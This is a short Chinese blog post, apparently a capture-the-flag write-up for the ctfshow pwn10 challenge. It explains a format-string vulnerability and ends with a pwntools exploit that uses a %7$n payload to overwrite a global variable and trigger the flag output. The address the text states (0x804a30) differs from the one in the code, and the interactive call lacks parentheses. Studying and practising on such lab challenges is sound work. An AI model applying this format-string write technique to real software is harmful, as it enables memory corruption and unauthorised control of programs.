ctfshow pwn10

最新推荐文章于 2024-04-16 17:20:16 发布

VIP文章 whit233

最新推荐文章于 2024-04-16 17:20:16 发布

阅读量398

点赞数 1

分类专栏： ctfshow pwn详细wp 文章标签： python

本文链接：https://blog.csdn.net/qq_39980610/article/details/126465833

版权

checksec检查程序

32位nx保护

ida可以看到程序有格式化字符串漏洞，并且num=16就会给我们执行systm（“cat flag”）

查看num的位置

是在bss段上的地址是0x804a30

运行程序确定偏移为7

那么我们该如何将num改写成16呢

需要用到的是

%n,不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。
构造exp：
from pwn import*
r=remote("pwn.challenge.ctf.show",28195)
num_addr=0x804a030
payload=p32(num_addr)+b'a'*12+b'%7$n'
r.sendline(payload)
r.interactive